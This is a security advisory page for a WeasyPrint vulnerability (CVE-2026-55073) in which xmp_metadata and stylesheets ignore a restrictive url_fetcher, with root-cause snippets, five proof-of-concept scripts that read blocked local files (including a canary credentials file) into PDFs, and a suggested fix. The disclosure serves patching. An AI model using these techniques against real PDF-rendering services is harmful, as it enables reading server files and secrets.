GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

PYSEC-2026-3940

Vulnerability from pysec - Published: 2026-09-10 09:45 - Updated: 2026-09-10 11:02
VLAI
Details

Summary

url_fetcher is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block file://, internal hosts, etc. when rendering untrusted input.

Two write_pdf() channels ignore the document's url_fetcher and build a fresh default URLFetcher() instead. A restrictive fetcher set on HTML() is silently bypassed for:

  • xmp_metadata=[url] - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an arbitrary local file read when the path is attacker-influenced.
  • stylesheets=[url_or_path] - the sheet is fetched and applied. This is SSRF / arbitrary local-or-internal resource loading, and it is transitive: the permissive fetcher propagates through the whole @import / url() graph.

Applications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive url_fetcher to block file:// or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.

Affected versions

All versions through current main - v69.0, commit 2945986160dedd97a7547be03805b667964e422a.

Root cause

select_source() defaults to a fresh fetcher when none is passed (weasyprint/urls.py):

def select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...):
    ...
    if url_fetcher is None:
        url_fetcher = URLFetcher()

Five of the seven resource-loading sites thread the document's fetcher correctly:

  • <link rel=stylesheet> in weasyprint/css/__init__.py
  • <style> in weasyprint/css/__init__.py
  • @import in weasyprint/css/__init__.py
  • @font-face / local() in weasyprint/text/fonts.py
  • @color-profile src in weasyprint/css/__init__.py
  • images (<img>, CSS url(), SVG) in weasyprint/images.py

Two do not — they build a fresh default fetcher instead:

  • write_pdf(xmp_metadata=[...]) in weasyprint/pdf/__init__.py
  • write_pdf(stylesheets=[str]) in weasyprint/document.py

xmp_metadata - pdf/__init__.py calls select_source(url) with no url_fetcher, so the default fetcher runs regardless of what the caller configured:

if options['xmp_metadata']:
    for url in options['xmp_metadata']:
        result = select_source(url)          # no url_fetcher

stylesheets - document.py builds each sheet without passing url_fetcher, and CSS.__init__ then defaults to a fresh URLFetcher():

for css in options['stylesheets'] or []:
    if not hasattr(css, 'matcher'):
        css = CSS(                            # no url_fetcher=html.url_fetcher
            guess=css, media_type=html.media_type,
            font_config=font_config, counter_style=counter_style,
            color_profiles=color_profiles)

Because @import / url() inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.

Reproduction

Each script defines a Block fetcher that refuses every file://, writes its own fixture to a temp dir, and prints a boolean. True means the restrictive fetcher was bypassed. No external files or network needed.

1 - xmp_metadata= reads a file:// the fetcher blocks

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'secret.xmp')
open(path, 'wb').write(b'CANARY_XMP_LEAK_7f3a9c')
pdf = HTML(string='<p>hi</p>', url_fetcher=Block()).write_pdf(
    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('secret file leaked into PDF:', b'CANARY_XMP_LEAK_7f3a9c' in pdf)
# -> True

(pdf_variant='pdf/a-3b' makes the embedded bytes observable in the output; the read happens regardless of variant.)

2 - stylesheets= applies a blocked file:// sheet (with control)

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'evil.css')
open(path, 'w').write('@page { size: 1234px 5678px }')

doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + path])
p = doc.pages[0]
print('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678))
# -> True

# Control: the same sheet via <link rel=stylesheet> is NOT applied (the fetcher blocks it;
# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the
# gap is specific to stylesheets= and not a misconfigured fetcher.
ctrl = HTML(string='<link rel="stylesheet" href="file://%s"><p>x</p>' % path,
            url_fetcher=Block()).render()
cp = ctrl.pages[0]
print('control <link> correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678))
# -> True

3 - the stylesheets= bypass is transitive

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
inner = os.path.join(d, 'inner.css')
outer = os.path.join(d, 'outer.css')
open(inner, 'w').write('@page { size: 333px 777px }')
open(outer, 'w').write('@import url("file://%s");' % inner)
doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + outer])
p = doc.pages[0]
print('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777))
# -> True

4 - xmp_metadata= discloses a credentials file in full

import os, json, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

creds = {'db_name': 'CANARY_DB_NAME', 'db_password': 'CANARY_PASSWORD_a3f7e9c2',
         'encryption_key': 'CANARY_ENC_KEY_b8d4f6a1', 'secret_key': 'CANARY_SECRET_KEY_c5e9d2b7'}
d = tempfile.mkdtemp()
path = os.path.join(d, 'site_config.json')
json.dump(creds, open(path, 'w'))
pdf = HTML(string='<p>x</p>', url_fetcher=Block()).write_pdf(
    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values()))
# -> True

An attacker who controls the xmp_metadata path reads any file the rendering process can access and receives its contents in the generated PDF.

5 - scope of the stylesheets= channel (honest bound)

The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, not verbatim disclosure on its own.

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'secrets.css')
open(path, 'w').write('/* CANARY_SECRET_e2a8c5d4 */\n@page { size: 999px 888px }')
html = HTML(string='<p>x</p>', url_fetcher=Block())
doc = html.render(stylesheets=['file://' + path])
pdf = html.write_pdf(stylesheets=['file://' + path], uncompressed_pdf=True)
p = doc.pages[0]
print('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888))   # -> True
print('comment leaked verbatim:', b'CANARY_SECRET_e2a8c5d4' in pdf)                  # -> False

Suggested fix

Route both call sites through the document's url_fetcher, matching the five sites that already do this.

  • pdf/__init__.py - select_source(url, url_fetcher=self.url_fetcher). (Alternatively, restrict xmp_metadata to byte strings so no URL fetching occurs.)
  • document.py - CSS(guess=css, ..., url_fetcher=html.url_fetcher). This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.
Impacted products
Name purl
weasyprint pkg:pypi/weasyprint

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "weasyprint",
        "purl": "pkg:pypi/weasyprint"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "70.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1",
        "0.10",
        "0.11",
        "0.12",
        "0.13",
        "0.14",
        "0.15",
        "0.16",
        "0.17",
        "0.17.1",
        "0.18",
        "0.19",
        "0.19.1",
        "0.19.2",
        "0.2",
        "0.2.1",
        "0.2.2",
        "0.20",
        "0.20.1",
        "0.20.2",
        "0.21",
        "0.22",
        "0.23",
        "0.24",
        "0.25",
        "0.26",
        "0.27",
        "0.28",
        "0.29",
        "0.3",
        "0.3.1",
        "0.30",
        "0.31",
        "0.32",
        "0.33",
        "0.34",
        "0.35",
        "0.36",
        "0.37",
        "0.38",
        "0.39",
        "0.4",
        "0.40",
        "0.41",
        "0.42",
        "0.42.1",
        "0.42.2",
        "0.42.3",
        "0.5",
        "0.6",
        "0.6.1",
        "0.7",
        "0.7.1",
        "0.8",
        "0.9",
        "43",
        "43rc1",
        "43rc2",
        "44",
        "45",
        "46",
        "47",
        "48",
        "49",
        "50",
        "51",
        "52",
        "52.1",
        "52.2",
        "52.3",
        "52.4",
        "52.5",
        "53.0",
        "53.0b1",
        "53.0b2",
        "53.1",
        "53.2",
        "53.3",
        "53.4",
        "54.0",
        "54.0b1",
        "54.1",
        "54.2",
        "54.3",
        "55.0",
        "55.0b1",
        "56.0",
        "56.0b1",
        "56.1",
        "57.0",
        "57.0b1",
        "57.1",
        "57.2",
        "58.0",
        "58.0b1",
        "58.1",
        "59.0",
        "59.0b1",
        "60.0",
        "60.1",
        "60.2",
        "61.0",
        "61.1",
        "61.2",
        "62.0",
        "62.1",
        "62.2",
        "62.3",
        "63.0",
        "63.1",
        "64.0",
        "64.1",
        "65.0",
        "65.1",
        "66.0",
        "67.0",
        "68.0",
        "68.1",
        "69.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55073",
    "GHSA-jf6q-chmf-3h3v"
  ],
  "details": "## Summary\n\n`url_fetcher` is WeasyPrint\u0027s documented mechanism for restricting resource loading - applications use it to block `file://`, internal hosts, etc. when rendering untrusted input.\n\nTwo `write_pdf()` channels ignore the document\u0027s `url_fetcher` and build a fresh default `URLFetcher()` instead. A restrictive fetcher set on `HTML()` is silently bypassed for:\n\n- **`xmp_metadata=[url]`** - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an **arbitrary local file read** when the path is attacker-influenced.\n- **`stylesheets=[url_or_path]`** - the sheet is fetched and applied. This is **SSRF / arbitrary local-or-internal resource loading**, and it is **transitive**: the permissive fetcher propagates through the whole `@import` / `url()` graph.\n\nApplications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive `url_fetcher` to block `file://` or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.\n\n## Affected versions\n\nAll versions through current `main` - v69.0, commit `2945986160dedd97a7547be03805b667964e422a`.\n\n## Root cause\n\n`select_source()` defaults to a fresh fetcher when none is passed (`weasyprint/urls.py`):\n\n```python\ndef select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...):\n    ...\n    if url_fetcher is None:\n        url_fetcher = URLFetcher()\n```\n\nFive of the seven resource-loading sites thread the document\u0027s fetcher correctly:\n\n- `\u003clink rel=stylesheet\u003e` in `weasyprint/css/__init__.py`\n- `\u003cstyle\u003e` in `weasyprint/css/__init__.py`\n- `@import` in `weasyprint/css/__init__.py`\n- `@font-face` / `local()` in `weasyprint/text/fonts.py`\n- `@color-profile src` in `weasyprint/css/__init__.py`\n- images (`\u003cimg\u003e`, CSS `url()`, SVG) in `weasyprint/images.py`\n\nTwo do **not** \u2014 they build a fresh default fetcher instead:\n\n- `write_pdf(xmp_metadata=[...])` in `weasyprint/pdf/__init__.py`\n- `write_pdf(stylesheets=[str])` in `weasyprint/document.py`\n\n**`xmp_metadata`** - `pdf/__init__.py` calls `select_source(url)` with no `url_fetcher`, so the default fetcher runs regardless of what the caller configured:\n\n```python\nif options[\u0027xmp_metadata\u0027]:\n    for url in options[\u0027xmp_metadata\u0027]:\n        result = select_source(url)          # no url_fetcher\n```\n\n**`stylesheets`** - `document.py` builds each sheet without passing `url_fetcher`, and `CSS.__init__` then defaults to a fresh `URLFetcher()`:\n\n```python\nfor css in options[\u0027stylesheets\u0027] or []:\n    if not hasattr(css, \u0027matcher\u0027):\n        css = CSS(                            # no url_fetcher=html.url_fetcher\n            guess=css, media_type=html.media_type,\n            font_config=font_config, counter_style=counter_style,\n            color_profiles=color_profiles)\n```\n\nBecause `@import` / `url()` inherit a CSS object\u0027s fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.\n\n## Reproduction\n\nEach script defines a `Block` fetcher that refuses every `file://`, writes its own fixture to a temp dir, and prints a boolean. `True` means the restrictive fetcher was bypassed. No external files or network needed.\n\n### 1 - `xmp_metadata=` reads a `file://` the fetcher blocks\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith(\u0027file:\u0027):\n            raise ValueError(\u0027blocked \u0027 + url)\n        return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, \u0027secret.xmp\u0027)\nopen(path, \u0027wb\u0027).write(b\u0027CANARY_XMP_LEAK_7f3a9c\u0027)\npdf = HTML(string=\u0027\u003cp\u003ehi\u003c/p\u003e\u0027, url_fetcher=Block()).write_pdf(\n    xmp_metadata=[\u0027file://\u0027 + path], pdf_variant=\u0027pdf/a-3b\u0027, uncompressed_pdf=True)\nprint(\u0027secret file leaked into PDF:\u0027, b\u0027CANARY_XMP_LEAK_7f3a9c\u0027 in pdf)\n# -\u003e True\n```\n\n(`pdf_variant=\u0027pdf/a-3b\u0027` makes the embedded bytes observable in the output; the read happens regardless of variant.)\n\n### 2 - `stylesheets=` applies a blocked `file://` sheet (with control)\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith(\u0027file:\u0027):\n            raise ValueError(\u0027blocked \u0027 + url)\n        return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, \u0027evil.css\u0027)\nopen(path, \u0027w\u0027).write(\u0027@page { size: 1234px 5678px }\u0027)\n\ndoc = HTML(string=\u0027\u003cp\u003ex\u003c/p\u003e\u0027, url_fetcher=Block()).render(stylesheets=[\u0027file://\u0027 + path])\np = doc.pages[0]\nprint(\u0027evil.css applied via stylesheets=:\u0027, (round(p.width), round(p.height)) == (1234, 5678))\n# -\u003e True\n\n# Control: the same sheet via \u003clink rel=stylesheet\u003e is NOT applied (the fetcher blocks it;\n# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the\n# gap is specific to stylesheets= and not a misconfigured fetcher.\nctrl = HTML(string=\u0027\u003clink rel=\"stylesheet\" href=\"file://%s\"\u003e\u003cp\u003ex\u003c/p\u003e\u0027 % path,\n            url_fetcher=Block()).render()\ncp = ctrl.pages[0]\nprint(\u0027control \u003clink\u003e correctly blocked:\u0027, (round(cp.width), round(cp.height)) != (1234, 5678))\n# -\u003e True\n```\n\n### 3 - the `stylesheets=` bypass is transitive\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith(\u0027file:\u0027):\n            raise ValueError(\u0027blocked \u0027 + url)\n        return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\ninner = os.path.join(d, \u0027inner.css\u0027)\nouter = os.path.join(d, \u0027outer.css\u0027)\nopen(inner, \u0027w\u0027).write(\u0027@page { size: 333px 777px }\u0027)\nopen(outer, \u0027w\u0027).write(\u0027@import url(\"file://%s\");\u0027 % inner)\ndoc = HTML(string=\u0027\u003cp\u003ex\u003c/p\u003e\u0027, url_fetcher=Block()).render(stylesheets=[\u0027file://\u0027 + outer])\np = doc.pages[0]\nprint(\u0027nested @import applied transitively:\u0027, (round(p.width), round(p.height)) == (333, 777))\n# -\u003e True\n```\n\n### 4 - `xmp_metadata=` discloses a credentials file in full\n\n```python\nimport os, json, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith(\u0027file:\u0027):\n            raise ValueError(\u0027blocked \u0027 + url)\n        return super().fetch(url, headers)\n\ncreds = {\u0027db_name\u0027: \u0027CANARY_DB_NAME\u0027, \u0027db_password\u0027: \u0027CANARY_PASSWORD_a3f7e9c2\u0027,\n         \u0027encryption_key\u0027: \u0027CANARY_ENC_KEY_b8d4f6a1\u0027, \u0027secret_key\u0027: \u0027CANARY_SECRET_KEY_c5e9d2b7\u0027}\nd = tempfile.mkdtemp()\npath = os.path.join(d, \u0027site_config.json\u0027)\njson.dump(creds, open(path, \u0027w\u0027))\npdf = HTML(string=\u0027\u003cp\u003ex\u003c/p\u003e\u0027, url_fetcher=Block()).write_pdf(\n    xmp_metadata=[\u0027file://\u0027 + path], pdf_variant=\u0027pdf/a-3b\u0027, uncompressed_pdf=True)\nprint(\u0027all credential fields leaked into PDF:\u0027, all(v.encode() in pdf for v in creds.values()))\n# -\u003e True\n```\n\nAn attacker who controls the `xmp_metadata` path reads any file the rendering process can access and receives its contents in the generated PDF.\n\n### 5 - scope of the `stylesheets=` channel (honest bound)\n\nThe sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, **not** verbatim disclosure on its own.\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith(\u0027file:\u0027):\n            raise ValueError(\u0027blocked \u0027 + url)\n        return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, \u0027secrets.css\u0027)\nopen(path, \u0027w\u0027).write(\u0027/* CANARY_SECRET_e2a8c5d4 */\\n@page { size: 999px 888px }\u0027)\nhtml = HTML(string=\u0027\u003cp\u003ex\u003c/p\u003e\u0027, url_fetcher=Block())\ndoc = html.render(stylesheets=[\u0027file://\u0027 + path])\npdf = html.write_pdf(stylesheets=[\u0027file://\u0027 + path], uncompressed_pdf=True)\np = doc.pages[0]\nprint(\u0027sheet applied (bypass):\u0027, (round(p.width), round(p.height)) == (999, 888))   # -\u003e True\nprint(\u0027comment leaked verbatim:\u0027, b\u0027CANARY_SECRET_e2a8c5d4\u0027 in pdf)                  # -\u003e False\n```\n\n## Suggested fix\n\nRoute both call sites through the document\u0027s `url_fetcher`, matching the five sites that already do this.\n\n- **`pdf/__init__.py`** - `select_source(url, url_fetcher=self.url_fetcher)`. (Alternatively, restrict `xmp_metadata` to byte strings so no URL fetching occurs.)\n- **`document.py`** - `CSS(guess=css, ..., url_fetcher=html.url_fetcher)`. This one change also closes the transitive case, since imported sheets inherit the parent\u0027s fetcher.",
  "id": "PYSEC-2026-3940",
  "modified": "2026-09-10T11:02:36.458342Z",
  "published": "2026-09-10T09:45:01.386776Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-jf6q-chmf-3h3v"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Kozea/WeasyPrint"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/WeasyPrint/releases/tag/v70.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/weasyprint"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-jf6q-chmf-3h3v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55073"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "weasyprint Has Server-Side Request Forgery (SSRF)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…